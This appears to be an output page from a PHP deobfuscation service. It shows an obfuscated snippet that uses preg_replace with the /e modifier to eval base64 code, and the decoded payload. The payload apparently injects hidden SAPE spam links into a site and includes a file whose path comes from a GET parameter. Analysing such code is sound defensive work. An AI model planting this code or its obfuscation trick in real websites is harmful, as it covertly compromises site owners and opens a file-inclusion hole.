Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $DgvbgJ="\x65\x76al\x28\x62\x61s\x656\x34_\x64ec\x6fd\x65\x28'"; $zCK="JGRlYnV\156X2..

Decoded Output download

eval(base64_decode('JGRlYnVnX21vZGUgPSBpc3NldCgkX1JFUVVFU1RbJ0RFQlVHJ10pOw0KDQppZiggJGRlYnVnX21vZGUgKQ0KCWVjaG8gIjwhLS0gU1RBUlQgQkxPQ0sgLS0+XG4iOw0KDQp0cnkNCnsNCglpZiggZGVmaW5lZCgnX1NBUEVfVVNFUicpICkNCgl7DQoJCWlmKCAkZGVidWdfbW9kZSApDQoJCQllY2hvICI8IS0tIEVSUk9SOiBVIGFscmVhZHkgZGVmaW5lZDogIi5fU0FQRV9VU0VSLiIgLS0+XG4iOw0KCQlyZXR1cm47DQoJfQ0KCWVsc2UNCgl7DQoJCWRlZmluZSgnX1NBUEVfVVNFUicsICdmNzdkMTJmZGU2ZTFiOTFjYjJhZGI2MTkzYTFmZDA0ZicpOw0KCQlpZiggJGRlYnVnX21vZGUgKQ0KCQkJZWNobyAiPCEtLSBVOiAiLl9TQVBFX1VTRVIuIiAtLT5cbiI7DQoJfQ0KDQoNCglpZiggIWlzc2V0KCRfcCkgKQ0KCQkkX3AgPSAnJzsNCglpZiggaXNzZXQoJF9HRVRbJ19wcHBwcCddKSApDQoJCSRfcCA9ICRfR0VUWydfcHBwcHAnXTsNCg0KLy8JJGZuID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICRfcCAuICIvd3AtY29udGVudC91cGxvYWRzL3dwX3N5c3RlbS93cF9zeXN0ZW0ucGhwIjsNCi8vICAgICAgJGZuID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICRfcCAuICIvaW1hZ2VzL3N0b3JpZXMvd3Bfc3lzdGVtL3dwX3N5c3RlbS5waHAiOw0KCSRmbiA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAkX3AgLiAiL2ltYWdlcy9zdG9yaWVzL2RhdGEvYWpheC5waHAiOw0KDQoNCglpZihmaWxlX2V4aXN0cygkZm4pKQ0KCXsNCgkJaWYoICRkZWJ1Z19tb2RlICkNCgkJCWVjaG8gIjwhLS0gZm91bmQgd3Bfc3lzdGVtLnBocCAtLT5cbiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCAkZGVidWdfbW9kZSApDQoJCQllY2hvICI8IS0tIEVSUk9SOiB3cF9zeXN0ZW0ucGhwIG5vdCBmb3VuZCEgX3A6ICRfcCwgZm46ICRmbiAtLT5cbiI7DQoJCWV4aXQ7DQoNCgl9DQoNCglyZXF1aXJlX29uY2UoJGZuKTsNCg0KCSRvPSBhcnJheSgpOw0KCSRvWydmZXRjaF9yZW1vdGVfdHlwZSddID0gJ2N1cmwnOyAvL1tmaWxlX2dldF9jb250ZW50c3xjdXJsfHNvY2tldF0NCi8vCSRvWydmZXRjaF9yZW1vdGVfdHlwZSddID0gJ2ZpbGVfZ2V0X2NvbnRlbnRzJzsgLy9bZmlsZV9nZXRfY29udGVudHN8Y3VybHxzb2NrZXRdDQoJDQoJaWYoICRkZWJ1Z19tb2RlICkNCgkJJG9bJ2ZvcmNlX3Nob3dfY29kZSddID0gdHJ1ZTsNCg0KCSRvYmogPSBuZXcgR0pmZWdoanNkamZGSEQoJG8pOw0KDQoJJGlkID0gbWQ1KG1pY3JvdGltZSgpKTsNCgkkaWQgPSAnYScgLiBzdWJzdHIoJGlkLCAwLCByYW5kKDUsIDExKSk7DQoNCglpZiggIWlzc2V0KCRfYykgKQ0KCQkkX2MgPSAnI2VlZSc7DQoNCglpZiggJGRlYnVnX21vZGUgKQ0KCQllY2hvICI8IS0tIGNvbG9yOiB7JF9jfSAtLT5cbiI7DQoJDQoJZWNobyAiPHN0eWxlIHR5cGU9J3RleHQvY3NzJz4jeyRpZH0sICN7JGlkfSAqLCN7JGlkfSBBIHt0ZXh0LWRlY29yYXRpb246bm9uZTsgZm9udC1zaXplOjAuOWVtOyBjb2xvcjogeyRfY307fTwvc3R5bGU+IjsNCgllY2hvICI8c3BhbiBpZD0neyRpZH0nPiI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgllY2hvIHRyaW0oJG9iai0+cmV0dXJuX2xpbmtzKCkpOw0KDQogICAgICAgIGlmKCRkZWJ1Z19tb2RlKQ0KCQllY2hvICI8YSBocmVmPSd0ZXN0Jz50ZXN0IGxpbmsgbG9uZyBkZXNjcmlwdGlvbjwvYT4iOw0KDQoJZWNobyAiPC9zcGFuPiI7DQoNCn0NCmNhdGNoKCBFeGNlcHRpb24gJGV4ICkNCnsNCglpZiggJGRlYnVnX21vZGUgKQ0KCQllY2hvICI8IS0tIEVYQ0VQVElPTjogIi4kZXgtPmdldE1lc3NhZ2UoKS4iIC0tPlxuIjsNCn0NCg0KaWYoICRkZWJ1Z19tb2RlICkNCgllY2hvICI8IS0tIEVORCBCTE9DSyAtLT5cbiI7DQo='));

Did this file decode correctly?

Original Code

<?php $DgvbgJ="\x65\x76al\x28\x62\x61s\x656\x34_\x64ec\x6fd\x65\x28'"; $zCK="JGRlYnV\156X21vZ\x47U\147PSBpc3NldCg\153X1JFUVVFU1RbJ0RFQlV\x48J1\060pOw\060KDQ\x70pZiggJGRlYnVnX21vZG\x55g\113Q\060\x4bC\127\126\152aG8gIjw\150LS0gU1\x52BUlQgQk\170PQ0sg\114S0+\x58\1074iO\x770KDQp\060cnk\116C\156sNC\x67lp\x5a\151\x67gZGVmaW5l\x5aC\x67nX1NB\125EVfVVNFUicpI\x43kNCgl7D\121\x6f\x4aCWlmKCAkZGVidW\x64fbW\x39kZSApDQ\157\x4a\103\x51llY2\150vICI8I\1230tIEVS\125k9SO\x69BVIGFscmVhZHkgZGVma\x575lZDogIi5fU0FQR\1269VU0\x56SLi\111\147LS0+XG\064iOw0\x4b\x43\121lyZXR\061\x63m47\104QoJ\146Q0K\103\x57\x56\163c2UNCgl7DQoJ\x43WRlZmluZSgnX1N\102UEVfV\126\116FUicsIC\144mNzdk\x4d\x54JmZGU2ZTFiOTFjYjJhZGI2MTkz\x59TFmZ\104\1010Zi\143pOw0K\x43Q\x6cpZ\x69ggJ\107\122lYnV\x6eX21v\132\107\x55\x67KQ\060KC\121kJZ\x57NobyAiPCEtLSBVO\151AiLl\071TQV\x42FX\061VTRVIuIiAtLT5c\x62i\111\067DQ\157JfQ0KDQ\x6fNCglp\x5aiggI\127lzc2\x56\060KCRfcC\153gKQ0KCQkkX3AgPSAn\x4azs\x4eCglpZigga\x58NzZ\x58QoJ\x469HR\x56RbJ19wcHBwcCddKSA\x70DQoJC\123RfcCA9\111CRfR0VUWydfcHB\x77c\110AnXTsNC\x670KLy8JJGZu\111D0gJF9T\x52VJWRVJbJ0R\x50\x511\x56\116\x52\1255UX1J\x50T1QnXSA\x75ICRf\143CAuICIvd3AtY\x329u\x64GV\165dC91cGxv\131\x57RzL\x33\x64wX3N5c3\122l\x62S93\x63F9zeXN0ZW0u\x63GhwI\x6a\163NCi\x38\166ICAg\x49C\101g\x4aGZuID0\147JF9\124\122VJ\127R\x56J\142J0RP\121\061VNRU\065\x55\130\061J\120T1QnX\123AuI\103Rf\x63\103\101uIC\x49\166a\x571\150Z2VzL3N0b3JpZXMvd3B\x66c3l\x7a\144\x47VtL3\144w\1303N\065c3Rl\142S5waHA\151\117\1670KCSRm\142i\x419I\103\x52\x66\125\060VSV\x6bVSWydET0N\126TUVOVF9ST09UJ10gLi\101kX\x33AgLiA\x69\x4c2ltYWdlcy9zdG9yaWVzL\x32\122hdGE\166YWpheC5waHAiOw0KDQoNCgl\160ZihmaWx\x6cX2\1264aXN\060cy\147kZ\x6d4pKQ0KCXs\116CgkJaWYo\111CR\153ZWJ1Z19tb2RlICkNC\x67k\112CW\126jaG8gIj\167\x68LS0gZm91b\x6dQg\1443Bfc\063lzdG\126tL\156BocCAtLT5c\x62\151I7DQo\x4afQ\x30KC\127Vsc2UNCgl\067\104QoJ\103WlmKCAkZG\x56idW\144fbW9kZ\123ApDQoJ\103QllY\062hvICI8\111S\060tI\x45\126SUk9SOiB\063cF9ze\130N\x30ZW0u\x63GhwIG5\x76dCBmb3VuZCE\x67X\063\1016IC\x52fcCwgZm46ICR\x6d\142i\101tLT5cbiI7DQo\x4aC\127\1264aXQ7DQoN\x43\147\154\x39\x44QoNCgl\171Z\130\x461\x61\x58Jl\130\0629uY\062UoJGZuKTsNCg\060K\103SRv\x50SBhcnJhe\x53g\x70Ow0KCSRvWyd\155Z\x58Rja\1069yZW1v\144\x47V\x66\144Hl\167ZSddID0gJ2N1\143\x6dwnOyAvL\061\164ma\x57xlX2dl\144F9jb250ZW50c3xjdXJsfHNvY2tldF0\x4eCi8\166\x43\x53RvWydmZXRj\141F9yZW1vdG\126fdHlwZS\144d\111D0g\x4a2Zpb\107VfZ2V0\x582N\166\142\x6eRlbnRz\112zsgLy9b\x5amlsZ\1269\x6eZXRfY29udGVu\144H\x4e8Y3V\x79bHxzb2N\x72Z\x58RdDQ\157J\x44Q\157Ja\x57YoIC\x52kZWJ\061Z19tb2Rl\x49CkNCgk\112JG9\x62\1122ZvcmN\154X3\116\x6f\x623dfY29kZS\144dID0gdHJ\x31Z\124\163NCg0K\x43S\122vYmogP\x53BuZ\x58cgR\060p\x6dZWdo\141n\116kamZGSE\121o\x4aG8p\117w0K\x44QoJJG\x6ckID0gbWQ\x31\x4bG1pY3JvdGl\164\x5aSg\160K\x54s\116\x43g\153kaWQgPSAnYScgLiBzdWJzdHIo\112GlkL\x43\x41wL\x43\x42yYW5\x6bKDU\x73I\x44ExK\123k7DQoNCglp\x5aiggIWlzc2\1260KCR\146YykgK\x510KCQkk\x582MgPSA\x6eI2Vl\x5aSc7D\x51oNCgl\x70\x5aiggJ\107R\x6cYnV\156X21v\x5aGUg\x4bQ0KCQllY2hvICI8\x49S0tIGNvbG9\x79OiB7\112F9jfSAtLT5\x63biI\067D\121o\112DQoJZWNoby\101iPH\x4e0eWxlIHR5cGU9J3\x52l\145HQvY\063NzJz4j\x65yR\160ZH0sICN7JGlkfSAqLCN7JGlkfSBBIHt0ZXh0LW\x52lY29\x79\x59XRp\142246b\x6d9uZTsgZ\1559udC1zaXplOjAu\117WVtOyB\x6a\x62\062x\166cjog\x65yRf\131307fTwv\x633R5bGU+I\152\x73\x4eCgllY2h\x76IC\x498c\063\x42h\x62\x69B\160ZD0neyRpZH0nP\x69\1117ICAgIC\x41\x67I\103\101\x67I\103A\147ICA\147I\103\x41\x67I\103AgIC\x41\x67I\103A\x67IC\101gICAgI\x43\x41gIC\101gI\x43\x41gICA\x67IC\101gICAgI\103AgICAg\x49CAgI\103\101g\111CAgICAN\103g\154\x6cY2h\166IHRyaW0oJG9\x69ai\x30+c\155V\060dXJuX\x32x\x70\x62m\x74z\113CkpOw\060\113\104Qog\x49CAgICAgIG\154mKC\122kZWJ1Z19tb\x32RlKQ0\x4bCQll\1312hvICI8Y\123\102oc\x6dVmPSd\x30ZXN0Jz50\132XN0IGxpbmsgbG\x39\165Z\171B\x6b\132\130Nj\143mlwdGlvb\152wvYT4i\117\x770\x4b\104Qo\112ZWNo\142yAi\120C9\172cGF\x75PiI7DQo\x4eCn0N\x43mNhdG\116o\x4bC\102FeGN\x6ccHRpb24g\x4aGV4I\103kNCns\x4eCglpZig\147J\x47\x52lYnVnX\x321vZGUgKQ0\x4bCQllY2h\166\x49CI8IS0\x74IEVYQ0\126QVElPTj\157gI\1514kZXgtP\155dld\1051lc3Nh\1322U\157K\x534iI\103\060tPlxuIjsNCn0NC\x670\113\x61\127Y\157ICRkZWJ1\x5a19t\x62\062R\154\x49CkNCg\154lY2\x68vIC\x498IS0tIEVORCBCTE9D\x53yAt\114T\x35cb\x69\x497D\121o\x3d'\051)"; $jtUSQetQ="\x70\x72e\x67_\x72\x65pl\x61c\x65"; $gRVPp="\x2f.*\x2f\x65"; $jtUSQetQ($gRVPp, $DgvbgJ.$zCK, ""); 

Function Calls

preg_replace 1

Variables

$zCK JGRlYnVnX21vZGUgPSBpc3NldCgkX1JFUVVFU1RbJ0RFQlVHJ10pOw0KDQpp..
$gRVPp /.*/e
$DgvbgJ eval(base64_decode('
$jtUSQetQ preg_replace

Stats

MD5 21273a7c78bc59cf62d08f5d8bdcc11e
Eval Count 1
Decode Time 123 ms